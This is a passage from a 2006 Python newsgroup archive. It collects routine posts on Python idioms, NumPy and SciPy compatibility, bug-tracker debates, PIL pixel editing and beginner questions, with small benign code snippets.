it's a class there's no need to tack a ``c`` in front.

We've seen this just for the class name here but prefixing names with
"type information" is "unpythonic" too, again IMHO, because this can get
very misleading if you change the type.  Then you have to change all
occurrences of the name or end up with names like `lstObj` bound to a
set object or something similar.

Ciao,
	Marc 'BlackJack' Rintsch


From bignose+hates-spam at benfinney.id.au  Sun Oct 29 17:49:16 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Mon, 30 Oct 2006 09:49:16 +1100
Subject: Reverse function python?  How to use?
References: <1162149971.025963.144720@e64g2000cwd.googlegroups.com>
Message-ID: <878xiybuvn.fsf@benfinney.id.au>

"frankie_85" <steveadi at gmail.com> writes:

> I made a little program which basically the a, b, c, d, e which I
> have listed below and basically I want it th result to be printed
> reverse so instead doing "print e, d, c, b, a", I'd like to use the
> reverse function

As was pointed out before, your assignment requires you to use a
list. You're using completely distinct names instead of storing these
sequences in a container. Read your course notes again, paying
attention to "containers" and especially "lists".

-- 
 \         "For of those to whom much is given, much is required."  -- |
  `\                                                   John F. Kennedy |
_o__)                                                                  |
Ben Finney



From XX.XmcX at XX.XmclaveauX.com  Sat Oct 28 07:42:26 2006
From: XX.XmcX at XX.XmclaveauX.com (MC)
Date: Sat, 28 Oct 2006 13:42:26 +0200
Subject: subprocess decoding?
Message-ID: <mn.e3367d6a33fa6730.46195@XX.XmclaveauX.com>

Hi!

On win-XP (french), when I read subprocess (stdout), I must use 
differents decoding (cp1252,cp850,cp437, or no decoding), depending of 
the "launch mode" of the same Python's script:
  - from command-line
  - from start+run
  - from icon
  - by Python-COM-server
  - etc.

(.py & .pyw can also contribute)


How to know, on the fly, the encoding used by subprocess?


Thanks by advance

-- 
@-salutations

Michel Claveau




From sturlamolden at yahoo.no  Wed Oct  4 05:23:40 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 4 Oct 2006 02:23:40 -0700
Subject: switching to numpy and failing, a user story
In-Reply-To: <mailman.1238.1159947549.10491.python-list@python.org>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
	<mailman.1238.1159947549.10491.python-list@python.org>
Message-ID: <1159953820.785009.179540@i42g2000cwa.googlegroups.com>


Travis E. Oliphant wrote:

> Definitely not true.  People in Singapore, Japan, Ghana, South Africa,
> France, Germany, New Zealand, Australia, and many other countries are
> using NumPy successfully.  Gratefully, a few have contributed by buying
> the book, but a lot more have downloaded and are successfully using it.

>From the PayPal site for purchasing your book: "Select Payment Type:
Don't have a PayPal account? You don't need an account. Pay securely
using your credit card." I bought the book from Norway using my credit
card, and received the pdf file soon afterwards. Obviously the book can
be bought without a PayPal account or a us billing address.

NumPy is the most versatile array type I have worked with, including
those of Matlab and Fortran 95. In particular, the explosive memory use
of Matlab is avoided. Keep up the good work!



From m.elston at advantest-ard.com  Thu Oct 19 13:05:36 2006
From: m.elston at advantest-ard.com (Mark Elston)
Date: Thu, 19 Oct 2006 10:05:36 -0700
Subject: Komodo
In-Reply-To: <1161272868.051706.228320@h48g2000cwc.googlegroups.com>
References: <1161272868.051706.228320@h48g2000cwc.googlegroups.com>
Message-ID: <12jfbr23dnmmpfa@corp.supernews.com>

* SpreadTooThin wrote (on 10/19/2006 8:47 AM):
> Why is it that (On MAC OS X) in Komodo 3.5 Professional, if I try to
> find something in my script,
> I am unable to change the text it is searching for?
> 

Perhaps Emacs might work better ... :)

Mark


From fredrik at pythonware.com  Mon Oct  9 10:15:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 16:15:35 +0200
Subject: file system iteration
References: <egdg02$pcd$1@solaris.cc.vt.edu> <egdjp5$7sm$1@news.albasani.net>
	<egdku5$3so$1@solaris.cc.vt.edu>
Message-ID: <egdli7$e2n$1@sea.gmane.org>

"rick" <ath-admin at vt.edu> wrote:

>> Which application needs to walk over ALL files? Normally, you just have a
>> starting path and walk over everything under it.
>
> Searching for a file by name. Scanning for viruses. Etc. There are lots
> of legitimate reason to walk all paths from a central starting point, no???

what's the difference between a "starting path" and a "starting point" ?

</F> 





From ahmerhussain at gmail.com  Thu Oct 12 19:37:57 2006
From: ahmerhussain at gmail.com (Ahmer)
Date: 12 Oct 2006 16:37:57 -0700
Subject: Starting out.
Message-ID: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>

Hi all!

I am a 15 year old High School Sophomore. I would like to start
programming in Python. In school, we are learning Java (5) and I like
to use the Eclipse IDE, I also am learning PHP as well.

What are some ways to get started (books, sites, etc.)? I am usually on
linux, but I have a windows box and am planning on getting a mac.



From raNOsky at deveSPAMler.com  Wed Oct  4 13:27:36 2006
From: raNOsky at deveSPAMler.com (Giovanni Bajo)
Date: Wed, 4 Oct 2006 19:27:36 +0200
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>	<eg0899$9g5$1@sea.gmane.org><eg09i9$eod$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
Message-ID: <eg0qu6$u7b$1@nnrp.ngi.it>

Steve Holden wrote:

> No, I'm not on the infrastructure list, but I know that capable people
> *are*: and you know I am quite capable of donating my time to the
> cause, when I have it to spare (and sometimes even when I don't).
>
> Perhaps what I *should* have written was "Sadly *many* people spend
> too much time bitching and moaning about those that roll their
> sleeves up, and not enough rolling their own sleeves up and pitching
> in".
>
> Sniping from the sidelines is far easier than hard work towards a
> goal.
>
> Kindly note that none of the above remarks apply to you.

The current request is: "please, readers of python-dev, setup a team of 6-10
people to handle roundup or we'll go to a non-free software for bug
tracking".  This is something which I cannot cope with, and I'm *speaking*
up against. Were the request lowered to something more reasonable, I'd be
willing to *act*. I have to speak before acting, so that my acting can
produce a result.

And besides the only thing I'm really sniping the PSF against is about
*ever* having thought of non-FLOSS software. This is something I *really* do
not accept. You have not seen a mail from me with random moaning as "Trac is
better", "Bugzilla is better", "why this was chosen". I do respect the fact
that the PSF committee did a thorough and correct evaluation: I just
disagree with their initial requirements (and I have not raised this point
before because, believe me if you can, I really thought it was obvious and
implicit).

So, if your remarks apply to me, I think you are misrepresenting my mails
and my goals.
-- 
Giovanni Bajo




From robert.kern at gmail.com  Sat Oct 28 18:20:30 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Sat, 28 Oct 2006 17:20:30 -0500
Subject: latest numpy & scipy - incompatible ?
In-Reply-To: <ehvr00$n58$1@news.albasani.net>
References: <ehvr00$n58$1@news.albasani.net>
Message-ID: <ei0l3f$j2a$1@sea.gmane.org>

robert wrote:
> I'm using latest numpy & scipy. What is this problem ? :
> 
>>>> import scipy.stats
> RuntimeError: module compiled against version 1000002 of C-API but this version of numpy is 1000009

The scipy binary available on sourceforge has not been recompiled for numpy 1.0. 
All you need to do is recompile, though, and everything will work.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From antoine at vo.lu  Tue Oct 24 03:25:46 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Tue, 24 Oct 2006 09:25:46 +0200
Subject: can't open word document after string replacements
Message-ID: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>

Hi there,

I have a word document containing pictures and text. This documents 
holds several 'ABCDEF' strings which serve as a placeholder for names. 
Now I want to replace these occurences with names in a list (members). I 
open both input and output file in binary mode and do the 
transformation. However, I can't open the resulting file, Word just 
telling that there was an error. Does anybody what I am doing wrong?

Oh, and is this approach pythonic anyway? (I have a strong Java background.)

Regards,
antoine


import os

members = somelist

os.chdir(somefolder)

doc = file('ttt.doc', 'rb')
docout = file('ttt1.doc', 'wb')

counter = 0

for line in doc:
     while line.find('ABCDEF') > -1:
         try:
             line = line.replace('ABCDEF', members[counter], 1)
             docout.write(line)
             counter += 1
         except:
             docout.write(line.replace('ABCDEF', '', 1))
     else:
         docout.write(line)

doc.close()
docout.close()



From premiergeneration at yahoo.com  Tue Oct 24 10:38:18 2006
From: premiergeneration at yahoo.com (Yogesh Chawla - PD)
Date: Tue, 24 Oct 2006 07:38:18 -0700 (PDT)
Subject: FTP over TLS
Message-ID: <20061024143818.94047.qmail@web82712.mail.mud.yahoo.com>

Hello All,
The state of wisc. wrote a script to do FTP over TLS
using pycurl.  I can post this here, but first need to
yank a bunch of password info out and get some
security clearance.  If someone is interested and
wants to email me offline, please do so at this
address.

Cheers,
Yogesh


From jonas.esp at googlemail.com  Sat Oct 28 09:17:22 2006
From: jonas.esp at googlemail.com (MindClass)
Date: 28 Oct 2006 06:17:22 -0700
Subject: Reading standard input
Message-ID: <1162041442.256614.275340@k70g2000cwa.googlegroups.com>

The program shows a license text, then the user has to accept the
license (or not).
Is there another way to get text from console? (that using
sys.stdin.read)

foo = sys.stdin.read(3)
if foo != 'yes'
    sys.exit(0)

I also would to trap the KeyboardInterrupt for that doesn't show that
message. How would it be possible?



From steve at holdenweb.com  Thu Oct 26 07:22:50 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 12:22:50 +0100
Subject: question about True values
In-Reply-To: <1161860305.348329.283780@m73g2000cwd.googlegroups.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<7x4ptsi544.fsf@ruckus.brouhaha.com>	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>	<7xvem8gq22.fsf@ruckus.brouhaha.com>	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>	<453FD3AF.4040800@v.loewis.de>	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
Message-ID: <ehq5o7$9k5$1@sea.gmane.org>

John Coleman wrote:
> Donn Cave wrote:
> 
>>In article <1161812827.596356.316450 at f16g2000cwb.googlegroups.com>,
>> "John Coleman" <jcoleman at franciscan.edu> wrote:
>>
>>
>>>Very good point, though one could argue perhaps that when one is
>>>comparing an object with a truth value then one is implicitly asking
>>>for the truth value of that object
>>
>>On the contrary -- since there is normally no need to ever
>>compare an object with a truth value, then I would interpret
>>this usage as an attempt to distinguish True or False from
>>other objects in general.  Some kind of placeholders for
>>missing values, who knows.  I'm not saying it's a great idea,
>>but it could work in recent versions of Python.
>>
>>
>>>This would make code like 'if s: ' equivalent
>>>to 'if s == True:' with a possible gain in readability. But - as you
>>>demonstrate the cost of that (minimal) gain in readability would be too
>>>high. In any event - I think it is mostly bad style to use a
>>>non-boolean variable in 'if s:' - it reminds me too much of obscure C
>>>code (though others might disagree).
>>
>>Others will indeed disagree.  I don't think you'll find
>>much support for this position.  But it's not as bad as
>>your notion that "if s == True", where s is not a boolean
>>object, might represent a gain in readability.  That really
>>redefines readability.
>>
>>   Donn Cave, donn at u.washington.edu
> 
> 
> As far as readability goes - most computer languages have a surface
> syntax which is (by design) vaguely similiar to the syntax of a natural
> language like English. Thus statements roughly correspond to sentences.
> For example, you can see a subject-verb-object pattern in "x=3". Given
> a genuinely boolean construct like x < 2, "if x < 2:" *sounds* right to
> a human reader. Similarly, given a good boolean variable with a
> descriptive name like "found", the fragment "if found:" sounds ok. But
> - given a non-boolean variable like "product_name" -  writing "if
> product_name:" sounds (to my ears) a little jarring - it sounds like a
> sentence fragment. It's like saying "If Bob" - If Bob *what*? Goes to
> the store? answers the telephone? Finish the damn thought! Now, if you
> were to (from some strange reason) use "product_name" as if it were a
> truth value then (to my ears) it would both make your intentions more
> clear and sound less fragmentary if you could say "if product_name ==
> True:". When you use "product_name" as the condition of an if statement
> then in that context it is *functioning* as a truth value so (naively)
> what could be wrong with comparing it to a truth value? I don't
> advocate any change in Python here - just pointing out that the idea of
> allowing "if s:" and "if s == True:" to be always equivalent in the
> interest of readability isn't *that* strange. It doesn't constitute a
> redefinition of readability.
> 
Yes, but you're talking about *your* ears there. I was pointing out, as 
others have, that "if product_name" is such a deeply-ingrained Python 
idiom that you can use how natural it "sounds" to you as a measure of 
your progress in the language.

> As far as using non-booleans as conditions - I just think that if you
> want a certain block of code to be executed only if, for example, a
> list is non-empty, why not *say* so? I think "if my_list != []:" just
> reads better than "if my_list:". I would think that my preferences
> there mesh with "Explicit is better than implicit" but apparently not.
> 
Maybe so, but that "rule" (and let's not forget that the zen is not 
actually a set of prescriptive rules but rather guidelines for the 
informed) is immediately preceded by the most important "rule" of all: 
"Beautiful is better than ugly". Nobody will shout at you (well, 
hopefully, not on this list they won't) for writing

   if my_list != []:
     ...

in your code, but if they have to incorporate it into their own they 
will almost certainly reduce it to

   if my_list:
     ....

It's just idiomatic in Python, the same way that "'Sup?" is idiomatic in 
English (or what passes for it nowadays ;-) but grates on those who 
aren't used to hearing it.

> I'm just starting out with Python with most of my programming in recent
> years being in various dialects of Visual Basic (which probably
> explains a lot). What attracts me to Python so far is the cool slice
> operations, the iterators, the libraries and the convience of
> programming in a REPL environment. So far, the ability to use "cat" as
> a part-time substitute for True just strikes me as a curiousity - but
> maybe that will change with time.
> 
It probably will, but I wouldn't get too hung up on what's definitely a 
small point. Enjoy Python the way it is, and the way you are. You and 
Python will definitely come to an accommodation (and you will love the 
combination of discipline and freedom that it brings to programming 
style). Welcome to the language!

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From __peter__ at web.de  Tue Oct  3 10:46:10 2006
From: __peter__ at web.de (Peter Otten)
Date: Tue, 03 Oct 2006 16:46:10 +0200
Subject: excepthook doesn't give exact line number
References: <mailman.1164.1159880567.10491.python-list@python.org>
Message-ID: <eftt06$sro$03$1@news.t-online.com>

Hari Sekhon wrote:

> The problem is that the excepthook gives the line of the topmost called
> function rather that the actual line that generated the error the way
> you get it with a normal traceback.

A look into the traceback module shows that tracebacks are stored as a
linked list. Here's a way to get hold of its tail:

def tbiter(tb):
    while tb is not None:
        yield tb
        tb = tb.tb_next

def last(items):
    for  item in items:
        pass
    return item

# example usage
def myexcepthook(type, value, tb):
    tb_tail = last(tbiter(tb))
    print tb_tail.tb_lineno
 
Peter


From jstroud at mbi.ucla.edu  Mon Oct  2 15:53:57 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Mon, 02 Oct 2006 19:53:57 GMT
Subject: strange append
In-Reply-To: <mailman.1071.1159765644.10491.python-list@python.org>
References: <mailman.1071.1159765644.10491.python-list@python.org>
Message-ID: <p7eUg.18860$Ij.8598@newssvr14.news.prodigy.com>

E.Nurminski wrote (off the  list):
> the intention was to have
> 
> newx = [1, 2]
> res = [[1, 2]]
> newx = [1, 3]
> res = [[1, 2], [1, 3]]
> newx = [1, 4]
> res = [[1, 2], [1, 3], [1, 4]]
> newx = [1, 5]
> res = [[1, 2], [1, 3], [1, 4], [1, 5]]
> newx = [1, 6]
> res = [[1, 2], [1, 3], [1, 4], [1, 5], [1, 6]]

This shows how valuable it is to post your expected results with your code.

The way most experienced python programmers might do this is with list 
comprehension:

res = [[1, i] for i in xrange(1,7)]

For newer programmers, this might make more sense:

res = []
for i in xrange(1,7):
   res.append([1,i])

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From msoulier at gmail.com  Thu Oct  5 12:29:20 2006
From: msoulier at gmail.com (msoulier)
Date: 5 Oct 2006 09:29:20 -0700
Subject: ANN: Tftpy 0.1 - Pure Python TFTP Library
References: <1160011350.564729.315850@i3g2000cwc.googlegroups.com>
Message-ID: <1160065760.803045.202880@i42g2000cwa.googlegroups.com>

msoulier wrote:
> Announcing new project, Tftpy, a Pure Python TFTP implementation.
>
> About Release 0.1:
> ==================
>
> This is an initial release in the spirit of "release early, release
> often". Currently the sample client works, supporting RFC 1350. The
> server is not yet implemented, and RFC 2347 and 2348 support (variable
> block sizes) is underway, planned for 0.2.

Update on that, RFC 2347 and 2348 support wasn't difficult, so I just
pushed out release 0.2.

Enjoy,
Mike



From sferriol at imag.fr  Mon Oct 23 04:48:52 2006
From: sferriol at imag.fr (Sylvain Ferriol)
Date: Mon, 23 Oct 2006 10:48:52 +0200
Subject: is it a bug ?
Message-ID: <ehhvqa$48r$1@trompette.imag.fr>

hello
can you explain to me what happened:

class toto(object):
   eq = float.__eq__

t = toto()

getattr(t,'eq')
TypeError: descriptor '__eq__' for 'float' objects doesn't apply to 
'toto' object



From steve at holdenweb.com  Wed Oct  4 10:21:50 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 15:21:50 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1159968082.377851.205270@m73g2000cwd.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<7xk63h232z.fsf@ruckus.brouhaha.com>
	<eftfoe$l8n$1@sea.gmane.org>	<mailman.1155.1159876666.10491.python-list@python.org>	<mailman.1163.1159879479.10491.python-list@python.org>	<fxJUg.134222$zy5.1829414@twister1.libero.it>	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>	<eg0bo2$obu$1@nnrp.ngi.it>
	<1159968082.377851.205270@m73g2000cwd.googlegroups.com>
Message-ID: <eg0g0a$6e7$1@sea.gmane.org>

Paul Boddie wrote:
> Giovanni Bajo wrote:
> 
>>In fact, are you absolutely positive that you need so much effort to
>>maintain an existing bugtracker installation?
> 
> 
> I wonder what kinds of insights were sought from other open source
> projects. It's not as if there aren't any big open source projects
> having approachable community members willing to share their thoughts
> on running open source (or any other kind of) issue tracking software.
> KDE and GNOME don't use SourceForge and yet manage their own
> infrastructure - has anyone asked them how they do it?
> 
> Paul
> 
Right, we could have asked Linus for advice ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From jmdeschamps at gmail.com  Sun Oct  8 21:46:46 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 8 Oct 2006 18:46:46 -0700
Subject: Dive Into Java?
In-Reply-To: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
Message-ID: <1160358406.445115.118440@e3g2000cwe.googlegroups.com>


erikcw wrote:
> DiveIntoPython.org was the first book I read on python, and I really
> got a lot out of it.  I need to start learning Java (to maintain a
> project I've inherited), and was wondering if anyone knew of any
> similar books for Java?
>
> Maybe once I know my way around the language, I can sneak Jython in...
> :-)
>
> Thanks!
> Erik
Not exactly Dive into Java, but one amongst very great book on
programming (and the one that pointed me to Python :-)) , really! )
-  *Just Java* by Peter van der Linden, really great book! and fun to
read, and bright, and this (apocryphical) citation (i don't have the
book under hand just now, being on vacation ;-)): *...to the question
'Should I learn Java, C++, Perl?'  (the answer is) 'Yes!' ...*
and Python was included among several other OpenSource stuff on the CD.

Jean-Marc



From rogue_pedro at yahoo.com  Fri Oct 20 03:01:58 2006
From: rogue_pedro at yahoo.com (Simon Forman)
Date: 20 Oct 2006 00:01:58 -0700
Subject: invert or reverse a string... warning this is a rant
References: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt>
	<mailman.775.1161281220.11739.python-list@python.org>
	<eh8fqo$6ab$1@solaris.cc.vt.edu>
Message-ID: <1161327718.682739.243850@m7g2000cwm.googlegroups.com>

rick wrote:
...
> see that the sequence is reversed. Backwards is pure, simple and easy.
> This is not so in Python and it should be.

foo[::-1] isn't "pure, simple and easy"?

It derives cleanly from the slice notation, it does exactly what you
want, and it even works with lists and tuples and any other class
written to support slice notation.

Does ruby have a built in string function to do this: foo[::-2]?  How
about this: foo[-1::-2] or this: foo[-2::-2]?

See, it's not about "blindly memorizing this stuff", it's about clever
abstractions that allow you to quickly, flexibly and powerfully program
your computer.  I'd rather learn a few well thought out abstractions
than memorize a set of methods.

The answer to your OP question, "Why can't Python have a reverse()
function/method like Ruby?" is "It can."  You can build it yourself
quickly and easily, and a lot of other functions as well.

Peace,
~Simon



From utabintarbo at gmail.com  Wed Oct 11 07:49:07 2006
From: utabintarbo at gmail.com (utabintarbo)
Date: 11 Oct 2006 04:49:07 -0700
Subject: Asychronous execution *with* return codes?
In-Reply-To: <mailman.95.1160374260.11739.python-list@python.org>
References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>
	<1160053403.362330.136200@k70g2000cwa.googlegroups.com>
	<1160059393.325634.167640@e3g2000cwe.googlegroups.com>
	<mailman.95.1160374260.11739.python-list@python.org>
Message-ID: <1160567347.164451.138940@k70g2000cwa.googlegroups.com>


Fredrik Lundh wrote:
> utabintarbo wrote:
>
> > If so, how do I handle the poll() on long-running processes? Run a
> > bunch and then start a check loop?
>
> or use a thread to keep track of each external process.
>
> </F>

This sounds most promising. Might you have a code snippet (or link to
same) illustrating this?



From fredrik at pythonware.com  Wed Oct  4 16:32:41 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 22:32:41 +0200
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <eg15p9$tki$1@sea.gmane.org>

gord wrote:

> What is particularly disappointing is the absence of a Windows IDE, 
> components and an event driven paradigm. How does Python stand relative to 
> the big 3, namely Visual C++, Visual Basic and Delphi?

if you think those are the "big 3", you should perhaps start by asking 
yourself where *you* are in the scheme of things.

</F>



From fredrik at pythonware.com  Tue Oct 17 01:29:33 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 07:29:33 +0200
Subject: OT: What's up with the starship?
In-Reply-To: <1161025636.641534.282290@f16g2000cwb.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>	<SEhYg.7681$gL.2383@southeast.rr.com>	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>	<mailman.580.1161021410.11739.python-list@python.org>	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>	<mailman.584.1161023364.11739.python-list@python.org>
	<1161025636.641534.282290@f16g2000cwb.googlegroups.com>
Message-ID: <eh1pnu$f13$1@sea.gmane.org>

rurpy at yahoo.com wrote:

> I admit I am totally flmmexed by your answer.
> What does when the bug was introduced have to do with
> anything?

oh, I thought your main concern was whether the packages available had 
been compromised, and that you asked if that was the reason an advisory
was released last week.

if someone has developed an exploit for the vulnerability, chances are 
that they'd attack more than just a single obscure and mostly abandoned 
server.

</F>



From sjmachin at lexicon.net  Sun Oct  1 04:09:47 2006
From: sjmachin at lexicon.net (John Machin)
Date: 1 Oct 2006 01:09:47 -0700
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <pUJTg.130151$zy5.1802764@twister1.libero.it>
References: <mailman.1027.1159685538.10491.python-list@python.org>
	<pUJTg.130151$zy5.1802764@twister1.libero.it>
Message-ID: <1159690187.914063.296330@i3g2000cwc.googlegroups.com>


Giovanni Bajo wrote:
> charlie strauss wrote:
>
> > Below is a simple program that will cause python to intermittently
> > stop executing for a few seconds.  it's 100% reproducible on my
> > machine.
>
> Confirmed with Python 2.4.2 on Windows.
>
> gc.disable() fixes it, so it looks like you found an inefficiency in the
> Python's GC. I have no idea whether this would be considered a bug by Python's
> developer, but you can try opening a bugreport...

Reproduced on 2.4.3 and 2.5 on Windows.
Disabling GC fixes the speed problem as Giovanni said, but doesn't
reduce the amount of memory taken (measured by increase in "page file
used" display in Task Manager). At about 520 Mb, this seems rather too
high to me.

Definitely worth reporting, even if the outcome is only(!) a timbottian
dissertation of why it's not a problem -- at least we'd learn something
:-)

Cheers,
John



From skip at pobox.com  Wed Oct  4 11:57:56 2006
From: skip at pobox.com (skip at pobox.com)
Date: Wed, 4 Oct 2006 10:57:56 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1159975907.085831.44790@k70g2000cwa.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45225A1C.8060106@v.loewis.de>
	<KGJUg.134415$_J1.895519@twister2.libero.it>
	<1159975907.085831.44790@k70g2000cwa.googlegroups.com>
Message-ID: <17699.55812.728555.796343@montanaro.dyndns.org>


    Istvan> I think you are missing the point. Switching to a different
    Istvan> tracker is not such a big deal. Having a really good tracker is
    Istvan> a big deal.

No, actually switching trackers can be one big pain in the ass.  You
probably aren't aware of how hard it's been for the Python development team
(I think Martin v. Loewis, mostly) to get tracker data out of SF.  An
explicit requirement was that any tool chosen as a SF replacement be able to
easily export its database to avoid this sort of "lock-in" in the future.

Skip


From Luwian at gmail.com  Mon Oct 23 18:46:03 2006
From: Luwian at gmail.com (Lucas)
Date: 23 Oct 2006 15:46:03 -0700
Subject: How to get each pixel value from a picture file!
In-Reply-To: <mailman.1013.1161637584.11739.python-list@python.org>
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>
	<mailman.1013.1161637584.11739.python-list@python.org>
Message-ID: <1161643563.111993.109480@b28g2000cwb.googlegroups.com>

Thank you for your answer.

I have some new questions:

1)  the value of return from getpixel() is a RGB number?
         print im.getpixel((44,55))   ----> (160,160,160)

2) I want to put a number into the picture for encryption(replace least
significant bit (LSB) of image intensity with message bit).

    If i use putpixel((44,55),0) , the number 0 will be changed RGB
value or others.?

3)         pix = im.load()
            print pix[44,55]
            pix[44, 55] = value
 my python cannt identify "[x,y]" ??

Steve Holden wrote:
> Lucas wrote:
> > I want to change some pixel value in the picture file. how to do it?
> >
> The most popular way is probably the Python Image Library, known to its
> friends as PIL:
>
>    http://www.pythonware.com/products/pil/
>
> You will see from
>
>    http://www.pythonware.com/library/pil/handbook/image.htm
>
> that images have .getpixel() and .putpixel() methods that will allow you
> to read and set individual pixels if you want. Be aware that the
> forthcoming release will give faster access using something called
> "pixel access objects", about which I know nothing.
>
> > If I read the file in binary mode, a bit == a pixel ?
> >
> Only for monochrome images, of course. Greyscale and color images have
> more bits per pixel, and some formats use a palette mapping to allow
> high color-fidelity with fewer bits per pixel (GIF is one such format).
>
> Download PIL and play with it. I'm sure you'll have a lot of fun, and
> you can do a surprising amount of processing just noodling around in an
> interactive interpreter session.
>
> regards
>   Steve
> --
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden



From martin.witte at gmail.com  Sun Oct 29 17:41:55 2006
From: martin.witte at gmail.com (wittempj@hotmail.com)
Date: 29 Oct 2006 14:41:55 -0800
Subject: looping through two list simultenously
In-Reply-To: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
Message-ID: <1162161715.740016.61130@b28g2000cwb.googlegroups.com>


CSUIDL PROGRAMMEr wrote:
> folks
> I have two lists
>
>  i am trying to loop thorough them simultenously.
>
> Here is the code i am using
>
> f1 = os.popen('ls  chatlog*.out')
You can replace this by
py> import glob
py> f1 = glob.glob('chatlog*.out')
it will return a list of filenames in f1, so you can skip next two
lines in your code
> data1=f1.readlines()
> f1.close()
>
If you use the glob this step can be skipped too, as glob returns the
filenames, without any whitespace added
> data1=[x.strip() for x in data1]

> f1 = os.popen('ls  chatlog*.txt')
> data=f1.readlines()
> f1.close()
> for eachline in data1 and line in data:
>
>     filename='/root/Desktop/project/'+ eachline
>     print filename
>     outfile=open(filename,'r')
>     filename1='/root/Desktop/project/' + line
>     print filename1
>
now you do the zip as suggested by the other people, but be aware that
it only returns the tuples as long as the shortest list is, so it might
be a good idea to add a test on equality of the number of .log and .txt
files
py> import glob
py> f1 = glob.glob('chatlog*.out')
py> f2 = glob.glob('chatlog*.txt')
py> if len(f1) != len(f2):
py>     print "number of .out files doesn't match number of .txt files"
py> f3 = zip(f1, f2)
now f3 will be somethine like [('chatlog1.out',
'chatlog1.txt'),('chatlog2.out', 'chatlog2.txt')], then you can
continue with your iteration loops


> I get the error that line is not defined.
> Traceback (most recent call last):
>   File "list.py", line 16, in ?
>     for eachline in data1 and line in data:
> NameError: name 'line' is not defined
> 
> Is there any efficient doing this



From ath-admin at vt.edu  Mon Oct  9 08:50:45 2006
From: ath-admin at vt.edu (rick)
Date: Mon, 09 Oct 2006 08:50:45 -0400
Subject: file system iteration
In-Reply-To: <mailman.116.1160398357.11739.python-list@python.org>
References: <egdg02$pcd$1@solaris.cc.vt.edu>
	<mailman.116.1160398357.11739.python-list@python.org>
Message-ID: <egdgrt$qjm$1@solaris.cc.vt.edu>

Gerrit Holl wrote:
> The very least you can try:
> 
> import string
> string.ascii_uppercase
> 
> for c in string.ascii_uppercase:
>     if os.path.isdir('%s:/' % c):
>         ...
> 
> etc.
> But I suppose there should be a better way.

Oh yes, I do that. I spelled out the example very explicitly for 
clarity. I don't actually type in A-Z :)


From vatamane at gmail.com  Sun Oct 29 17:14:07 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 29 Oct 2006 14:14:07 -0800
Subject: Observation on "Core Python Programming"
In-Reply-To: <1162156739.376402.239880@k70g2000cwa.googlegroups.com>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
	<1162152161.321947.257870@m73g2000cwd.googlegroups.com>
	<1162156739.376402.239880@k70g2000cwa.googlegroups.com>
